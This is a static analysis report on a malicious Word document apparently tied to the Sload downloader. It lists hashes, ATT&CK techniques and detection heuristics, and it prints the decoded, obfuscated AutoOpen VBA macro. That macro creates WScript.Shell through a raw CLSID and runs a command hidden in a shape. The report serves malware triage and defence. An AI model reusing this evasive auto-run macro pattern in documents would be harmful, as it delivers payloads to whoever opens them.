Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 8f0e94f24a7f6942…

MALICIOUS

Office (OLE)

140.8 KB Created: 2018-11-27 17:08:00 Authoring application: Microsoft Office Word First seen: 2019-11-20
MD5: d8e4dbffc955b5d635006ce860829661 SHA-1: 08e98c9b902cfc798eba2d798acd681d468eaf1a SHA-256: 8f0e94f24a7f69427cc695db20a165f4c4b70f51919ca5cc128e28769f32bbc3
292 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 PowerShell T1059.003 Windows Command Shell T1204.002 Malicious File T1566.001 Spearphishing Attachment

The sample contains VBA macros that are configured to execute automatically upon opening. These macros leverage the WScript.Shell COM object to invoke cmd.exe and PowerShell, indicating an attempt to download and execute a secondary payload. The obfuscated command line suggests a complex download and execution chain.

Heuristics 10

  • ClamAV: Doc.Malware.Sload-6777087-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Sload-6777087-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA instantiates a dangerous COM class by CLSID critical OLE_VBA_GETOBJECT_CLSID_DANGEROUS
    VBA uses GetObject("new:{CLSID}") to instantiate an execution/scripting-capable COM class by its raw CLSID, avoiding the CreateObject ProgID that name-based detection keys on.
    Matched line in script
    Set zpFjRBW = GetObject("new:72C24DD5-D70A-438B-8A42-98424B88AFB8" + HQMwOzw)
   On Error Resume Next
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
    Matched line in script
    Set zpFjRBW = GetObject("new:72C24DD5-D70A-438B-8A42-98424B88AFB8" + HQMwOzw)
   On Error Resume Next
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Attribute VB_Customizable = True
Sub AutoOpen()
   On Error Resume Next
  • Suspicious cmd.exe invocation with execution flag high SC_STR_CMD
    Suspicious cmd.exe invocation with execution flag
  • Reference to PowerShell high SC_STR_POWERSHELL
    Reference to PowerShell
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 7603 bytes
SHA-256: 80532583611be84b4ded96c42ad949b9959910c190a977a4225b12123859c30a
Detection
ClamAV: No threats found
Obfuscation or payload: likely
115 of 179 identifiers look randomly generated (e.g. 'iInmDTjaNzv') — consistent with name-mangling obfuscation.
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "iInmDTjaNzv"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub AutoOpen()
   On Error Resume Next
      Select Case qSFiFV
         Case 176593762
RkjqtU = Hex(jDcIW)
            UKpACCuqP = Cos(78931746)
            WzzUHiJzr = 123866763
         Case 124231645
iIjvbtd = Hex(iXSVHQ)
            DSjVBYt = Sqr(129297158 / CSng(317194285 - Cos(147563730 - 211019213) + USJijCh + Rnd(44056466 - 285617669)))
            HTwmuM = Hex(fcMqEGjLz)
End Select

   On Error Resume Next
      Select Case OWPZG
         Case 123802421
zWvltjwZZ = Hex(oziEl)
            KGPjzDfC = Cos(257063776)
            zTziDfjZ = 44567978
         Case 221779699
FUrRX = Hex(tmEnC)
            mFSqmut = Sqr(285893376 / CSng(295667817 - Cos(333459047 - 71990123) + daqBJPJz + Rnd(26382225 - 201521290)))
            mYPaw = Hex(PivvqNdl)
End Select

   On Error Resume Next
      Select Case YJjnPuJk
         Case 153121641
EtiXizjpa = Hex(rJWLCvjp)
            NNbVluFF = Cos(29281143)
            YcAwzPq = 141918544
         Case 157170618
pmRncz = Hex(nUlTKU)
            KfdYt = Sqr(196387076 / CSng(192712795 - Cos(307972471 - 203113868) + BIrNYv + Rnd(75428042 - 174033635)))
            Xuavos = Hex(iRkSJNIz)
End Select

   On Error Resume Next
      Select Case qCYjcC
         Case 74160807
QOKsCizmW = Hex(dkvCzTObI)
            hvhOGQ = Cos(296776916)
            GYWJzSma = 271880502
         Case 336084506
XLGbWFP = Hex(oFESBtu)
            Vjwlmp = Sqr(71830139 / CSng(211613722 - Cos(329687637 - 163035359) + lcPXiP + Rnd(16858626 - 246937385)))
            aTLJr = Hex(FhBGUPEHR)
End Select

Set ppnZv = Shapes("QqIUpbiD")
   On Error Resume Next
      Select Case YCaIUWfci
         Case 302944051
sYCizskD = Hex(ptmhpNW)
            jFwpHVKi = Cos(15537758)
            hJCvA = 230079606
         Case 69565347
irbpohTrJ = Hex(QtSHAvvZ)
            wkDsAujDt = Sqr(176962448 / CSng(301326538 - Cos(291694381 - 20956679) + qiiJrQP + Rnd(145582510 - 107026275)))
            iRIqZJ = Hex(zalOO)
End Select

   On Error Resume Next
      Select Case nmsIMAqzV
         Case 145706481
OzcrDIzzi = Hex(uWdAdh)
            wwzNUjMsq = Cos(260319119)
            kFCbUJXPU = 322612991
         Case 113804233
TGJatPOI = Hex(TvwXWitT)
            wNUwMY = Sqr(117589001 / CSng(125228753 - Cos(15154373 - 136004325) + ONwhLfG + Rnd(76991288 - 41597964)))
            cbiRRK = Hex(Ewadw)
End Select

zkqPqPEG = "" + SVukI + tfTFwQ + chMwVlpj + ppnZv.TextFrame.TextRange.Text + NODuzS + dsKMa
   On Error Resume Next
      Select Case iSwOR
         Case 341340570
bipUEWO = Hex(FNXUpNDd)
            vYcELC = Cos(18288008)
            UzVXmW = 224753650
         Case 174426422
UONOwCwcP = Hex(jhstf)
            fStXUQfm = Sqr(52473220 / CSng(237973600 - Cos(151638143 - 300756351) + Trours + Rnd(271479315 - 101128090)))
            zWjbv = Hex(VibFq)
End Select

   On Error Resume Next
      Select Case wlNUXfcjd
         Case 222675151
YWwiR = Hex(JVoGzcMMi)
            wzjYtJL = Cos(129459040)
            wNEjUYIA = 152760006
         Case 188780820
rZGTz = Hex(LlzJBI)
            JdjuJGOK = Sqr(191839566 / CSng(327543468 - Cos(123613120 - 220592647) + lUiqb + Rnd(269092684 - 235791724)))
            iZtPbiwa = Hex(awFOaq)
End Select

   On Error Resume Next
      Select Case ilRLi
         Case 232345182
LdDNz = Hex(jVrwlMim)
            ffOfUkmm = Cos(218372567)
            DZhCif = 214669908
         Case 36710983
cSjii = Hex(QXmuprRV)
            FlzDOTYqW = Sqr(339979559 / CSng(314656958 - Cos(47136418 - 10676961) + JQEGjJ + Rnd(90010404 - 312629450)))
            jzDMA = Hex(rVlDjwzid)
End Select

   On Error Resume Next
      Select Case RYPwQaLw
         Case 247483045
PwIzM = Hex(QGmPUXQ)
            GEfVW = Cos(280939674)
            zPnbQZs = 222667677
         Case 11454302
KbUwo = Hex(ksRVWNtT)
            IGrLvqZui = Sqr(119084423 / CSng(216616246 - Cos(143458019 - 158929839) + DYYkJJwwM + Rnd(118741274 - 121986413)))
            dEUDkVThI = Hex(AVGPkj)
End Select

   On Error Resume Next
      Select Case khHvlEjKo
         Case 327114310
FERKB = Hex(MMfwoC)
            PGhAza = Cos(59040453)
            zilviQ = 293455400
         Case 247517069
ZjYmJtnTi = Hex(uLftwisf)
            WjMOotH = Sqr(172737929 / CSng(213112172 - Cos(99212125 - 124681621) + UbmYE + Rnd(200867014 - 189808307)))
            NtjPq = Hex(ASkpQq)
End Select

Set zpFjRBW = GetObject("new:72C24DD5-D70A-438B-8A42-98424B88AFB8" + HQMwOzw)
   On Error Resume Next
      Select Case VjJzDHtUX
         Case 18897691
ilvjvjmZE = Hex(jsnhw)
            mmlZUOGlS = Cos(51671107)
            ZVnLvfmRj = 114746456
         Case 30553963
TQocppnVS = Hex(MGhlc)
            UfJRnlM = Sqr(28140398 / CSng(116834274 - Cos(296290303 - 239254800) + AQRdin + Rnd(122557321 - 63895743)))
            lRvimdUI = Hex(dKCJwBHn)
End Select

   On Error Resume Next
      Select Case OVKiavzpj
         Case 221132927
LPrRj = Hex(DZZYrGp)
            wZYqKK = Cos(25050622)
            NnNWMwJK = 322692278
         Case 176774328
wNLlo = Hex(kChWXXP)
            SdWYwZX = Sqr(321693798 / CSng(170115082 - Cos(9599548 - 24949137) + JSGQP + Rnd(182175281 - 108129704)))
            szlok = Hex(ZHWPqQ)
End Select

   On Error Resume Next
      Select Case AHHLF
         Case 52629287
JlZYZFzUA = Hex(ZcwtdE)
            HodTrnjKR = Cos(177297043)
            WtEVCRiV = 232654319
         Case 5709937
XfIOJT = Hex(cMWDODQi)
            RzpOHiJ = Sqr(327815452 / CSng(49306926 - Cos(68893772 - 26929633) + hPIUrsR + Rnd(329664313 - 69038397)))
            iPcpORT = Hex(AEYqMXt)
End Select

   On Error Resume Next
      Select Case FsaXDSBpb
         Case 198789829
ipQFEtcG = Hex(ZaEQTo)
            QXzotUU = Cos(304001646)
            QfhID = 314956561
         Case 324917293
TrpjPpXad = Hex(PfoJEOslR)
            pmKVVvo = Sqr(91034715 / CSng(310936736 - Cos(331512196 - 89200067) + cGzcwqA + Rnd(221364631 - 188067519)))
            PdEOVG = Hex(SQSdVIj)
End Select

Const rVrIS = 0
   On Error Resume Next
      Select Case ouBKZL
         Case 267343171
jfQdhYO = Hex(TiNCHsX)
            jjLWdjia = Cos(209682394)
            batQK = 303397753
         Case 44012612
oLnnt = Hex(KiPJW)
            GvXSa = Sqr(297750185 / CSng(64046 - Cos(117659341 - 315801623) + zpzcz + Rnd(261847519 - 239648332)))
            XTvFE = Hex(vwnEMz)
End Select

   On Error Resume Next
      Select Case upFEnBI
         Case 327947516
sDKLwjJE = Hex(MPnsmkwfd)
            AbNZZ = Cos(237618905)
            Pqfkk = 118979471
         Case 210404175
rFDuaXq = Hex(HlqiBD)
            GHXCwNf = Sqr(196367284 / CSng(243951550 - Cos(179644608 - 321163522) + SYFbzH + Rnd(106782011 - 306771080)))
            ulCjJPF = Hex(jBAMVZdM)
End Select

zpFjRBW.Run# zkqPqPEG, rVrIS
   On Error Resume Next
      Select Case HrzvRn
         Case 253475972
thwcnb = Hex(LDkanjDvn)
            VXJLA = Cos(214466582)
            RlTXk = 187051212
         Case 231717698
QLYriIobl = Hex(WfcriDvJ)
            vQcFtBtKB = Sqr(49048105 / CSng(144659092 - Cos(177219579 - 175907146) + jWXfE + Rnd(35559187 - 298468547)))
            vYfdBaZH = Hex(cainio)
End Select

End Sub

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